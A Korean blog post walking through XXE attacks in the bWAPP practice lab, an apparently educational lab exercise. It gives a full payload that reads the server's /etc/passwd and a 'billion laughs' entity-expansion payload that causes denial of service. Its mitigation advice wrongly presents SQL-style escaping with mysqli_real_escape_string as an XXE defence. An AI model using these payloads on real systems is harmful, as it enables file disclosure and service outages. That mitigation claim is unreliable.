본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 11-5. 기능 수준의 접근 통제 누락 [XML 외부 엔티티 공격]

by Robert8478 2023. 12. 14.

XXE(XML External Entity) 공격에는 SYSTEM 키워드를 사용한다. 이 키워드로 XML 파서를 발생하게 하면 페이지의 내용을 대체하는 권한이 생기고, 공격자는 XML 파서로 서버 시스템에 접근할 수 있다.

[난이도 하]
이번 페이지는 비밀번호 힌트를 초기화 하는 기능을 XML 코드로 제공한다.

저번 문제에서 한것과 같이 버프슈트로 요청을 캡처한 뒤 Repeater로 보내자.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///etc/passwd">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

이번에도 Raw로 변경 후 외부 엔티티 참조 코드를 넣어주었다. bWAPP이라는 외부 엔티티를 선언하고 서버의 passwd 파일을 출력한다. 엔티티 선언 후에는 선언한 엔티티 참조를 위해 &bWAPP; 을 변수에 입력하여 넣어주었다.

그랬더니 우측에 passwd 파일이 노출된 것을 볼 수 있다. 우클릭 후 show response in browser 메뉴를 통해 브라우저에서도 볼 수 있다. 이번에는 이를 이용해 DOS 공격도 시도해보자. XML로 하는 DOS 공격은 XDOS라고도 한다.

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<reset><login>&lol9;</login><secret>blah</secret></reset> 

위 코드를 입력해서 XDOS 공격을 유발하였다.
Send를 누르면 빈칸이 몇초간 뜨다가 저렇게 뜰것이다. 애플리케이션 계층에서 일어나는 DOS 공격이므로 웹서비스 제공을 방해하였다. 
위 코드는 반복되는 문자열을 출력하는 여러 외부 엔티티를 선언하고 마지막 외부 엔티티를 선언해서 변수에 입력해준 것이다.

[대응방안]
취약한 변수에서 입력받는 값을 세션에서 받아 입력하도록 해서 버프슈트에서 수정하여도 로그인한 사용자의 비밀번호 힌트만 초기화 하도록 하고,
SQL 인젝션에서 사용하는 특수문자가 XXE에 사용되기 때문에 SQLi를 막듯이 mysqli_real_escape_string 함수로 특수문자를 필터링 해야한다.